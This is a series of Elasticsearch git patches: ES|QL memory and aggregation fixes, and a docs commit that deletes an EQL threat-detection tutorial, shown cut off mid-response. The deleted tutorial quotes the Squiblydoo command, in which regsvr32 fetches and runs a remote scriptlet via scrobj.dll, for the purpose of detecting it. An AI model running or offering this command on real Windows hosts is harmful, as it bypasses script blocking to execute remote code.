 muted-tests.yml | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index ff9c7b39c0c1a..dcad0e1b3f98e 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -530,9 +530,6 @@ tests:
 - class: org.elasticsearch.index.engine.ThreadPoolMergeExecutorServiceDiskSpaceTests
   method: testUnavailableBudgetBlocksNewMergeTasksFromStartingExecution
   issue: https://github.com/elastic/elasticsearch/issues/130205
-- class: org.elasticsearch.backwards.MixedClusterClientYamlTestSuiteIT
-  method: test {p0=search.vectors/40_knn_search/Dimensions are dynamically set}
-  issue: https://github.com/elastic/elasticsearch/issues/130626
 - class: org.elasticsearch.search.SearchWithRejectionsIT
   method: testOpenContextsAfterRejections
   issue: https://github.com/elastic/elasticsearch/issues/130821

From 9a8a75624e9fdbcd2b640404c493a23e76334000 Mon Sep 17 00:00:00 2001
From: Nik Everett <nik9000@gmail.com>
Date: Tue, 8 Jul 2025 17:26:19 -0400
Subject: [PATCH 098/299] Double close on shuffle during field loading
 (#130838) (#130848)

Fixes a bug during field loading where we could double-close blocks if
we failed to allocate memory during the un-shuffling portion of field
loading from single segments.

Unit test incoming in the followup.

Closes #130426
Closes #130790
Closes #130791
Closes #130792
Closes #130793
Closes #130270
Closes #130788
Closes #130122
Closes #130827
---
 .../lucene/read/ValuesFromSingleReader.java   | 33 +++++++++++--------
 .../compute/lucene/read/ValuesReader.java     |  3 ++
 .../read/ValuesSourceReaderOperatorTests.java |  7 ----
 .../compute/test/OperatorTestCase.java        | 10 ++++--
 .../xpack/esql/action/EnrichIT.java           |  5 ++-
 5 files changed, 32 insertions(+), 26 deletions(-)

diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromSingleReader.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromSingleReader.java
index 3ac6565d21c33..1bee68160e024 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromSingleReader.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesFromSingleReader.java
@@ -65,22 +65,27 @@ public int get(int i) {
             return;
         }
         int[] forwards = docs.shardSegmentDocMapForwards();
-        loadFromSingleLeaf(target, new BlockLoader.Docs() {
-            @Override
-            public int count() {
-                return docs.getPositionCount();
-            }
+        Block[] unshuffled = new Block[target.length];
+        try {
+            loadFromSingleLeaf(unshuffled, new BlockLoader.Docs() {
+                @Override
+                public int count() {
+                    return docs.getPositionCount();
+                }
 
-            @Override
-            public int get(int i) {
-                return docs.docs().getInt(forwards[i]);
-            }
-        });
-        final int[] backwards = docs.shardSegmentDocMapBackwards();
-        for (int i = 0; i < target.length; i++) {
-            try (Block in = target[i]) {
-                target[i] = in.filter(backwards);
+                @Override
+                public int get(int i) {
+                    return docs.docs().getInt(forwards[i]);
+                }
+            });
+            final int[] backwards = docs.shardSegmentDocMapBackwards();
+            for (int i = 0; i < unshuffled.length; i++) {
+                target[i] = unshuffled[i].filter(backwards);
+                unshuffled[i].close();
+                unshuffled[i] = null;
             }
+        } finally {
+            Releasables.closeExpectNoException(unshuffled);
         }
     }
 
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesReader.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesReader.java
index d3b8b0edcec3d..ebfac0cb24f7f 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesReader.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/lucene/read/ValuesReader.java
@@ -36,6 +36,9 @@ public Block[] next() {
         boolean success = false;
         try {
             load(target, offset);
+            if (target[0].getPositionCount() != docs.getPositionCount()) {
+                throw new IllegalStateException("partial pages not yet supported");
+            }
             success = true;
             for (Block b : target) {
                 operator.valuesLoaded += b.getTotalValueCount();
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorTests.java
index 6c1e89925702b..c9b46eb764580 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorTests.java
@@ -29,7 +29,6 @@
 import org.elasticsearch.common.bytes.BytesReference;
 import org.elasticsearch.common.lucene.Lucene;
 import org.elasticsearch.common.settings.Settings;
-import org.elasticsearch.common.unit.ByteSizeValue;
 import org.elasticsearch.compute.data.Block;
 import org.elasticsearch.compute.data.BlockFactory;
 import org.elasticsearch.compute.data.BooleanBlock;
@@ -446,12 +445,6 @@ protected void assertSimpleOutput(List<Page> input, List<Page> results) {
         assertThat(sum, equalTo(expectedSum));
     }
 
-    @Override
-    protected ByteSizeValue enoughMemoryForSimple() {
-        assumeFalse("strange exception in the test, fix soon", true);
-        return ByteSizeValue.ofKb(1);
-    }
-
     public void testLoadAll() {
         DriverContext driverContext = driverContext();
         loadSimpleAndAssert(
diff --git a/x-pack/plugin/esql/compute/test/src/main/java/org/elasticsearch/compute/test/OperatorTestCase.java b/x-pack/plugin/esql/compute/test/src/main/java/org/elasticsearch/compute/test/OperatorTestCase.java
index 56ae2fb4119a8..f9f9769929f28 100644
--- a/x-pack/plugin/esql/compute/test/src/main/java/org/elasticsearch/compute/test/OperatorTestCase.java
+++ b/x-pack/plugin/esql/compute/test/src/main/java/org/elasticsearch/compute/test/OperatorTestCase.java
@@ -98,10 +98,16 @@ protected ByteSizeValue enoughMemoryForSimple() {
      * all pages.
      */
     public final void testSimpleCircuitBreaking() {
-        ByteSizeValue memoryLimitForSimple = enoughMemoryForSimple();
-        Operator.OperatorFactory simple = simple(new SimpleOptions(true));
+        /*
+         * Build the input before building `simple` to handle the rare
+         * cases where `simple` need some state from the input - mostly
+         * this is ValuesSourceReaderOperator.
+         */
         DriverContext inputFactoryContext = driverContext();
         List<Page> input = CannedSourceOperator.collectPages(simpleInput(inputFactoryContext.blockFactory(), between(1_000, 10_000)));
+
+        ByteSizeValue memoryLimitForSimple = enoughMemoryForSimple();
+        Operator.OperatorFactory simple = simple(new SimpleOptions(true));
         try {
             ByteSizeValue limit = BreakerTestUtil.findBreakerLimit(memoryLimitForSimple, l -> runWithLimit(simple, input, l));
             ByteSizeValue testWithSize = ByteSizeValue.ofBytes(randomLongBetween(0, limit.getBytes()));
diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/EnrichIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/EnrichIT.java
index 3c37f0ffbcc1d..446c287be64fc 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/EnrichIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/EnrichIT.java
@@ -50,7 +50,6 @@
 import org.elasticsearch.xpack.esql.core.type.DataType;
 import org.elasticsearch.xpack.esql.enrich.EnrichLookupService;
 import org.elasticsearch.xpack.esql.plan.logical.Enrich;
-import org.elasticsearch.xpack.esql.plugin.EsqlPlugin;
 import org.junit.After;
 import org.junit.Before;
 
@@ -81,8 +80,8 @@ public class EnrichIT extends AbstractEsqlIntegTestCase {
 
     @Override
     protected Collection<Class<? extends Plugin>> nodePlugins() {
-        List<Class<? extends Plugin>> plugins = new ArrayList<>(super.nodePlugins());
-        plugins.add(EsqlPlugin.class);
+        List<Class<? extends Plugin>> plugins = new ArrayList<>();
+        plugins.add(EsqlActionBreakerIT.EsqlTestPluginWithMockBlockFactory.class);
         plugins.add(InternalExchangePlugin.class);
         plugins.add(LocalStateEnrich.class);
         plugins.add(IngestCommonPlugin.class);

From f1ef8352bae36bf704c06eaf4f2f3866021df5bf Mon Sep 17 00:00:00 2001
From: Nhat Nguyen <nhat.nguyen@elastic.co>
Date: Tue, 8 Jul 2025 16:16:33 -0700
Subject: [PATCH 099/299] Fix empty VALUES with ordinals grouping (#130861)
 (#130864)

We should not build the sorted structure for the ordinal grouping
operator if the requested position is larger than maxGroupId. This
situation occurs with nulls. We should benchmark the ordinal blocks and
consider removing the ordinal grouping operator if performance is
similar; otherwise, we need to integrate this operator with
GroupingAggregatorFunctionTestCase.

Relates #130576
---
 .../aggregation/ValuesBytesRefAggregator.java |   2 +-
 .../aggregation/ValuesDoubleAggregator.java   |   2 +-
 .../aggregation/ValuesFloatAggregator.java    |   2 +-
 .../aggregation/ValuesIntAggregator.java      |   2 +-
 .../aggregation/ValuesLongAggregator.java     |   2 +-
 .../aggregation/X-ValuesAggregator.java.st    |   2 +-
 .../elasticsearch/compute/OperatorTests.java  | 108 ++++++++++++++++++
 7 files changed, 114 insertions(+), 6 deletions(-)

diff --git a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesBytesRefAggregator.java b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesBytesRefAggregator.java
index 992fff70f90a0..cb0dff8a86dc5 100644
--- a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesBytesRefAggregator.java
+++ b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesBytesRefAggregator.java
@@ -90,10 +90,10 @@ public static void combineIntermediate(GroupingState state, int groupId, BytesRe
     }
 
     public static void combineStates(GroupingState current, int currentGroupId, GroupingState state, int statePosition) {
-        var sorted = state.sortedForOrdinalMerging(current);
         if (statePosition > state.maxGroupId) {
             return;
         }
+        var sorted = state.sortedForOrdinalMerging(current);
         var start = statePosition > 0 ? sorted.counts[statePosition - 1] : 0;
         var end = sorted.counts[statePosition];
         for (int i = start; i < end; i++) {
diff --git a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesDoubleAggregator.java b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesDoubleAggregator.java
index 9aebe85c0cd89..3c0dcd58c29ee 100644
--- a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesDoubleAggregator.java
+++ b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesDoubleAggregator.java
@@ -67,10 +67,10 @@ public static void combineIntermediate(GroupingState state, int groupId, DoubleB
     }
 
     public static void combineStates(GroupingState current, int currentGroupId, GroupingState state, int statePosition) {
-        var sorted = state.sortedForOrdinalMerging(current);
         if (statePosition > state.maxGroupId) {
             return;
         }
+        var sorted = state.sortedForOrdinalMerging(current);
         var start = statePosition > 0 ? sorted.counts[statePosition - 1] : 0;
         var end = sorted.counts[statePosition];
         for (int i = start; i < end; i++) {
diff --git a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesFloatAggregator.java b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesFloatAggregator.java
index 28c736783122d..a25d69b712538 100644
--- a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesFloatAggregator.java
+++ b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesFloatAggregator.java
@@ -66,10 +66,10 @@ public static void combineIntermediate(GroupingState state, int groupId, FloatBl
     }
 
     public static void combineStates(GroupingState current, int currentGroupId, GroupingState state, int statePosition) {
-        var sorted = state.sortedForOrdinalMerging(current);
         if (statePosition > state.maxGroupId) {
             return;
         }
+        var sorted = state.sortedForOrdinalMerging(current);
         var start = statePosition > 0 ? sorted.counts[statePosition - 1] : 0;
         var end = sorted.counts[statePosition];
         for (int i = start; i < end; i++) {
diff --git a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesIntAggregator.java b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesIntAggregator.java
index 39dbcd155954c..2c8c0f409dd5b 100644
--- a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesIntAggregator.java
+++ b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesIntAggregator.java
@@ -66,10 +66,10 @@ public static void combineIntermediate(GroupingState state, int groupId, IntBloc
     }
 
     public static void combineStates(GroupingState current, int currentGroupId, GroupingState state, int statePosition) {
-        var sorted = state.sortedForOrdinalMerging(current);
         if (statePosition > state.maxGroupId) {
             return;
         }
+        var sorted = state.sortedForOrdinalMerging(current);
         var start = statePosition > 0 ? sorted.counts[statePosition - 1] : 0;
         var end = sorted.counts[statePosition];
         for (int i = start; i < end; i++) {
diff --git a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesLongAggregator.java b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesLongAggregator.java
index a7d3a8fe539df..2790a182d5041 100644
--- a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesLongAggregator.java
+++ b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesLongAggregator.java
@@ -67,10 +67,10 @@ public static void combineIntermediate(GroupingState state, int groupId, LongBlo
     }
 
     public static void combineStates(GroupingState current, int currentGroupId, GroupingState state, int statePosition) {
-        var sorted = state.sortedForOrdinalMerging(current);
         if (statePosition > state.maxGroupId) {
             return;
         }
+        var sorted = state.sortedForOrdinalMerging(current);
         var start = statePosition > 0 ? sorted.counts[statePosition - 1] : 0;
         var end = sorted.counts[statePosition];
         for (int i = start; i < end; i++) {
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/X-ValuesAggregator.java.st b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/X-ValuesAggregator.java.st
index 6a6adca143e94..fa8ffecea052d 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/X-ValuesAggregator.java.st
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/X-ValuesAggregator.java.st
@@ -129,10 +129,10 @@ $endif$
     }
 
     public static void combineStates(GroupingState current, int currentGroupId, GroupingState state, int statePosition) {
-        var sorted = state.sortedForOrdinalMerging(current);
         if (statePosition > state.maxGroupId) {
             return;
         }
+        var sorted = state.sortedForOrdinalMerging(current);
         var start = statePosition > 0 ? sorted.counts[statePosition - 1] : 0;
         var end = sorted.counts[statePosition];
         for (int i = start; i < end; i++) {
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/OperatorTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/OperatorTests.java
index 6d345d510f4b0..e3ddbe0b58aed 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/OperatorTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/OperatorTests.java
@@ -11,6 +11,7 @@
 import org.apache.lucene.document.Field;
 import org.apache.lucene.document.LongField;
 import org.apache.lucene.document.LongPoint;
+import org.apache.lucene.document.SortedNumericDocValuesField;
 import org.apache.lucene.document.SortedSetDocValuesField;
 import org.apache.lucene.index.DirectoryReader;
 import org.apache.lucene.index.IndexReader;
@@ -35,6 +36,7 @@
 import org.elasticsearch.common.util.MockPageCacheRecycler;
 import org.elasticsearch.common.util.concurrent.ConcurrentCollections;
 import org.elasticsearch.compute.aggregation.CountAggregatorFunction;
+import org.elasticsearch.compute.aggregation.ValuesLongAggregatorFunctionSupplier;
 import org.elasticsearch.compute.aggregation.blockhash.BlockHash;
 import org.elasticsearch.compute.data.Block;
 import org.elasticsearch.compute.data.BlockFactory;
@@ -254,6 +256,112 @@ public String toString() {
         assertThat(blockFactory.breaker().getUsed(), equalTo(0L));
     }
 
+    // TODO: Remove ordinals grouping operator or enable it GroupingAggregatorFunctionTestCase
+    public void testValuesWithOrdinalGrouping() throws Exception {
+        DriverContext driverContext = driverContext();
+        BlockFactory blockFactory = driverContext.blockFactory();
+
+        final int numDocs = between(100, 1000);
+        Map<BytesRef, Set<Long>> expectedValues = new HashMap<>();
+        try (BaseDirectoryWrapper dir = newDirectory(); RandomIndexWriter writer = new RandomIndexWriter(random(), dir)) {
+            String VAL_NAME = "val";
+            String KEY_NAME = "key";
+            for (int i = 0; i < numDocs; i++) {
+                Document doc = new Document();
+                BytesRef key = new BytesRef(Integer.toString(between(1, 100)));
+                SortedSetDocValuesField keyField = new SortedSetDocValuesField(KEY_NAME, key);
+                doc.add(keyField);
+                if (randomBoolean()) {
+                    int numValues = between(0, 2);
+                    for (int v = 0; v < numValues; v++) {
+                        long val = between(1, 1000);
+                        var valuesField = new SortedNumericDocValuesField(VAL_NAME, val);
+                        doc.add(valuesField);
+                        expectedValues.computeIfAbsent(key, k -> new HashSet<>()).add(val);
+                    }
+                }
+                writer.addDocument(doc);
+            }
+            writer.commit();
+            try (DirectoryReader reader = writer.getReader()) {
+                List<Operator> operators = new ArrayList<>();
+                if (randomBoolean()) {
+                    operators.add(new ShuffleDocsOperator(blockFactory));
+                }
+                operators.add(
+                    new ValuesSourceReaderOperator(
+                        blockFactory,
+                        List.of(
+                            new ValuesSourceReaderOperator.FieldInfo(
+                                VAL_NAME,
+                                ElementType.LONG,
+                                unused -> new BlockDocValuesReader.LongsBlockLoader(VAL_NAME)
+                            )
+                        ),
+                        List.of(new ValuesSourceReaderOperator.ShardContext(reader, () -> {
+                            throw new UnsupportedOperationException();
+                        }, 0.2)),
+                        0
+                    )
+                );
+                operators.add(
+                    new OrdinalsGroupingOperator(
+                        shardIdx -> new KeywordFieldMapper.KeywordFieldType(KEY_NAME).blockLoader(mockBlContext()),
+                        List.of(new ValuesSourceReaderOperator.ShardContext(reader, () -> SourceLoader.FROM_STORED_SOURCE, 0.2)),
+                        ElementType.BYTES_REF,
+                        0,
+                        KEY_NAME,
+                        List.of(new ValuesLongAggregatorFunctionSupplier().groupingAggregatorFactory(INITIAL, List.of(1))),
+                        randomPageSize(),
+                        driverContext
+                    )
+                );
+                operators.add(
+                    new HashAggregationOperator(
+                        List.of(new ValuesLongAggregatorFunctionSupplier().groupingAggregatorFactory(FINAL, List.of(1))),
+                        () -> BlockHash.build(
+                            List.of(new BlockHash.GroupSpec(0, ElementType.BYTES_REF)),
+                            driverContext.blockFactory(),
+                            randomPageSize(),
+                            false
+                        ),
+                        driverContext
+                    )
+                );
+                Map<BytesRef, Set<Long>> actualValues = new HashMap<>();
+                Driver driver = TestDriverFactory.create(
+                    driverContext,
+                    luceneOperatorFactory(
+                        reader,
+                        List.of(new LuceneSliceQueue.QueryAndTags(new MatchAllDocsQuery(), List.of())),
+                        LuceneOperator.NO_LIMIT
+                    ).get(driverContext),
+                    operators,
+                    new PageConsumerOperator(page -> {
+                        BytesRefBlock keyBlock = page.getBlock(0);
+                        LongBlock valueBlock = page.getBlock(1);
+                        BytesRef spare = new BytesRef();
+                        for (int p = 0; p < page.getPositionCount(); p++) {
+                            var key = keyBlock.getBytesRef(p, spare);
+                            int valueCount = valueBlock.getValueCount(p);
+                            for (int i = 0; i < valueCount; i++) {
+                                long val = valueBlock.getLong(valueBlock.getFirstValueIndex(p) + i);
+                                boolean added = actualValues.computeIfAbsent(BytesRef.deepCopyOf(key), k -> new HashSet<>()).add(val);
+                                assertTrue(actualValues.toString(), added);
+                            }
+                        }
+                        page.releaseBlocks();
+                    })
+                );
+                OperatorTestCase.runDriver(driver);
+                assertDriverContext(driverContext);
+                assertThat(actualValues, equalTo(expectedValues));
+                org.elasticsearch.common.util.MockBigArrays.ensureAllArraysAreReleased();
+            }
+        }
+        assertThat(blockFactory.breaker().getUsed(), equalTo(0L));
+    }
+
     public void testPushRoundToToQuery() throws IOException {
         long firstGroupMax = randomLong();
         long secondGroupMax = randomLong();

From 1a55c3c6d90090f3dc461a9f2f5c73dc7d9d3812 Mon Sep 17 00:00:00 2001
From: Charlotte Hoblik <116336412+charlotte-hoblik@users.noreply.github.com>
Date: Wed, 9 Jul 2025 11:01:13 +0200
Subject: [PATCH 100/299] [DOCS]: Remove Example: Detect threats with EQL from
 reference (#130716) (#130889)

Remove threat detection example
---
 docs/redirects.yml                            |   3 +
 .../eql/eql-ex-threat-detection.md            | 332 ------------------
 docs/reference/query-languages/toc.yml        |   1 -
 3 files changed, 3 insertions(+), 333 deletions(-)
 create mode 100644 docs/redirects.yml
 delete mode 100644 docs/reference/query-languages/eql/eql-ex-threat-detection.md

diff --git a/docs/redirects.yml b/docs/redirects.yml
new file mode 100644
index 0000000000000..7fb1997268c92
--- /dev/null
+++ b/docs/redirects.yml
@@ -0,0 +1,3 @@
+redirects:
+# Related to https://github.com/elastic/elasticsearch/pull/130716/
+  'reference/query-languages/eql/eql-ex-threat-detection.md': 'docs-content://explore-analyze/query-filter/languages/example-detect-threats-with-eql.md'
\ No newline at end of file
diff --git a/docs/reference/query-languages/eql/eql-ex-threat-detection.md b/docs/reference/query-languages/eql/eql-ex-threat-detection.md
deleted file mode 100644
index 92df0aef64667..0000000000000
--- a/docs/reference/query-languages/eql/eql-ex-threat-detection.md
+++ /dev/null
@@ -1,332 +0,0 @@
----
-mapped_pages:
-  - https://www.elastic.co/guide/en/elasticsearch/reference/current/eql-ex-threat-detection.html
----
-
-# Example: Detect threats with EQL [eql-ex-threat-detection]
-
-This example tutorial shows how you can use EQL to detect security threats and other suspicious behavior. In the scenario, you’re tasked with detecting [regsvr32 misuse](https://attack.mitre.org/techniques/T1218/010/) in Windows event logs.
-
-`regsvr32.exe` is a built-in command-line utility used to register `.dll` libraries in Windows. As a native tool, `regsvr32.exe` has a trusted status, letting it bypass most allowlist software and script blockers. Attackers with access to a user’s command line can use `regsvr32.exe` to run malicious scripts via `.dll` libraries, even on machines that otherwise disallow such scripts.
-
-One common variant of regsvr32 misuse is a [Squiblydoo attack](https://attack.mitre.org/techniques/T1218/010/). In a Squiblydoo attack, a `regsvr32.exe` command uses the `scrobj.dll` library to register and run a remote script. These commands often look like this:
-
-```sh
-"regsvr32.exe  /s /u /i:<script-url> scrobj.dll"
-```
-
-
-## Setup [eql-ex-threat-detection-setup]
-
-This tutorial uses a test dataset from [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) that includes events imitating a Squiblydoo attack. The data has been mapped to [Elastic Common Schema (ECS)][Elastic Common Schema (ECS)](ecs://reference/index.md)) fields.
-
-To get started:
-
-1. Create an [index template](docs-content://manage-data/data-store/templates.md) with [data stream enabled](docs-content://manage-data/data-store/data-streams/set-up-data-stream.md#create-index-template):
-
-    ```console
-    PUT /_index_template/my-data-stream-template
-    {
-      "index_patterns": [ "my-data-stream*" ],
-      "data_stream": { },
-      "priority": 500
-    }
-    ```
-
-2. Download [`normalized-T1117-AtomicRed-regsvr32.json`](https://raw.githubusercontent.com/elastic/elasticsearch/master/docs/src/yamlRestTest/resources/normalized-T1117-AtomicRed-regsvr32.json).
-3. Use the [bulk API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-bulk) to index the data to a matching stream:
-
-    ```sh
-    curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-data-stream/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
-    ```
-
-4. Use the [cat indices API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cat-indices) to verify the data was indexed:
-
-    ```console
-    GET /_cat/indices/my-data-stream?v=true&h=health,status,index,docs.count
-    ```
-
-    The response should show a `docs.count` of `150`.
-
-    ```txt
-    health status index                                 docs.count
-    yellow open   .ds-my-data-stream-2099.12.07-000001         150
-    ```
-
-
-
-## Get a count of regsvr32 events [eql-ex-get-a-count-of-regsvr32-events]
-
-First, get a count of events associated with a `regsvr32.exe` process:
-
-```console
-GET /my-data-stream/_eql/search?filter_path=-hits.events    <1>
-{
-  "query": """
-    any where process.name == "regsvr32.exe"                <2>
-  """,
-  "size": 200                                               <3>
-}
-```
-
-1. `?filter_path=-hits.events` excludes the `hits.events` property from the response. This search is only intended to get an event count, not a list of matching events.
-2. Matches any event with a `process.name` of `regsvr32.exe`.
-3. Returns up to 200 hits for matching events.
-
-
-The response returns 143 related events.
-
-```console-result
-{
-  "is_partial": false,
-  "is_running": false,
-  "took": 60,
-  "timed_out": false,
-  "hits": {
-    "total": {
-      "value": 143,
-      "relation": "eq"
-    }
-  }
-}
-```
-
-
-## Check for command line artifacts [eql-ex-check-for-command-line-artifacts]
-
-`regsvr32.exe` processes were associated with 143 events. But how was `regsvr32.exe` first called? And who called it? `regsvr32.exe` is a command-line utility. Narrow your results to processes where the command line was used:
-
-```console
-GET /my-data-stream/_eql/search
-{
-  "query": """
-    process where process.name == "regsvr32.exe" and process.command_line.keyword != null
-  """
-}
-```
-
-The query matches one event with an `event.type` of `creation`, indicating the start of a `regsvr32.exe` process. Based on the event’s `process.command_line` value, `regsvr32.exe` used `scrobj.dll` to register a script, `RegSvr32.sct`. This fits the behavior of a Squiblydoo attack.
-
-```console-result
-{
-  ...
-  "hits": {
-    "total": {
-      "value": 1,
-      "relation": "eq"
-    },
-    "events": [
-      {
-        "_index": ".ds-my-data-stream-2099.12.07-000001",
-        "_id": "gl5MJXMBMk1dGnErnBW8",
-        "_source": {
-          "process": {
-            "parent": {
-              "name": "cmd.exe",
-              "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
-              "executable": "C:\\Windows\\System32\\cmd.exe"
-            },
-            "name": "regsvr32.exe",
-            "pid": 2012,
-            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
-            "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
-            "executable": "C:\\Windows\\System32\\regsvr32.exe",
-            "ppid": 2652
-          },
-          "logon_id": 217055,
-          "@timestamp": 131883573237130000,
-          "event": {
-            "category": "process",
-            "type": "creation"
-          },
-          "user": {
-            "full_name": "bob",
-            "domain": "ART-DESKTOP",
-            "id": "ART-DESKTOP\\bob"
-          }
-        }
-      }
-    ]
-  }
-}
-```
-
-
-## Check for malicious script loads [eql-ex-check-for-malicious-script-loads]
-
-Check if `regsvr32.exe` later loads the `scrobj.dll` library:
-
-```console
-GET /my-data-stream/_eql/search
-{
-  "query": """
-    library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
-  """
-}
-```
-
-The query matches an event, confirming `scrobj.dll` was loaded.
-
-```console-result
-{
-  ...
-  "hits": {
-    "total": {
-      "value": 1,
-      "relation": "eq"
-    },
-    "events": [
-      {
-        "_index": ".ds-my-data-stream-2099.12.07-000001",
-        "_id": "ol5MJXMBMk1dGnErnBW8",
-        "_source": {
-          "process": {
-            "name": "regsvr32.exe",
-            "pid": 2012,
-            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
-            "executable": "C:\\Windows\\System32\\regsvr32.exe"
-          },
-          "@timestamp": 131883573237450016,
-          "dll": {
-            "path": "C:\\Windows\\System32\\scrobj.dll",
-            "name": "scrobj.dll"
-          },
-          "event": {
-            "category": "library"
-          }
-        }
-      }
-    ]
-  }
-}
-```
-
-
-## Determine the likelihood of success [eql-ex-detemine-likelihood-of-success]
-
-In many cases, attackers use malicious scripts to connect to remote servers or download other files. Use an [EQL sequence query](/reference/query-languages/eql/eql-syntax.md#eql-sequences) to check for the following series of events:
-
-1. A `regsvr32.exe` process
-2. A load of the `scrobj.dll` library by the same process
-3. Any network event by the same process
-
-Based on the command line value seen in the previous response, you can expect to find a match. However, this query isn’t designed for that specific command. Instead, it looks for a pattern of suspicious behavior that’s generic enough to detect similar threats.
-
-```console
-GET /my-data-stream/_eql/search
-{
-  "query": """
-    sequence by process.pid
-      [process where process.name == "regsvr32.exe"]
-      [library where dll.name == "scrobj.dll"]
-      [network where true]
-  """
-}
-```
-
-The query matches a sequence, indicating the attack likely succeeded.
-
-```console-result
-{
-  ...
-  "hits": {
-    "total": {
-      "value": 1,
-      "relation": "eq"
-    },
-    "sequences": [
-      {
-        "join_keys": [
-          2012
-        ],
-        "events": [
-          {
-            "_index": ".ds-my-data-stream-2099.12.07-000001",
-            "_id": "gl5MJXMBMk1dGnErnBW8",
-            "_source": {
-              "process": {
-                "parent": {
-                  "name": "cmd.exe",
-                  "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
-                  "executable": "C:\\Windows\\System32\\cmd.exe"
-                },
-                "name": "regsvr32.exe",
-                "pid": 2012,
-                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
-                "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
-                "executable": "C:\\Windows\\System32\\regsvr32.exe",
-                "ppid": 2652
-              },
-              "logon_id": 217055,
-              "@timestamp": 131883573237130000,
-              "event": {
-                "category": "process",
-                "type": "creation"
-              },
-              "user": {
-                "full_name": "bob",
-                "domain": "ART-DESKTOP",
-                "id": "ART-DESKTOP\\bob"
-              }
-            }
-          },
-          {
-            "_index": ".ds-my-data-stream-2099.12.07-000001",
-            "_id": "ol5MJXMBMk1dGnErnBW8",
-            "_source": {
-              "process": {
-                "name": "regsvr32.exe",
-                "pid": 2012,
-                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
